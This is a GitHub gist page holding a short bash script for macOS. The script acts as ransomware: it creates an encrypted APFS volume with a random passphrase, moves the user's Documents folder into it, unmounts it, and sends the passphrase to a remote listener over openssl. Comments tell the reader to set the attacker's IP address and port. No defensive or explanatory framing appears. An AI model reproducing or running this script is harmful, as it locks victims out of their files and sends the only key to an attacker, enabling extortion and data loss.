Skip to content

Instantly share code, notes, and snippets.

@PonchoSec
Last active September 20, 2022 11:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PonchoSec/7f439eec56ff07dafc92152e6cf6d15e to your computer and use it in GitHub Desktop.
Save PonchoSec/7f439eec56ff07dafc92152e6cf6d15e to your computer and use it in GitHub Desktop.
macos_script
#! /usr/bin/env bash
sh -c 'p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");disk_name=$(diskutil info / | grep "APFS Container:" | tr -s " "| cut -d" " -f4);diskutil apfs addVolume "${disk_name}" APFS XX -passphrase "${p}";mv -f ~/Documents/* /Volumes/XX;diskutil umount XX;echo $p | timeout 2 openssl s_client -quiet -connect 127.0.0.1:9001 2>/dev/null;p="";'
# change the IP address and Port number
# Use chmod +x <name>.sh to make the script executable
# With OpenSSL
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment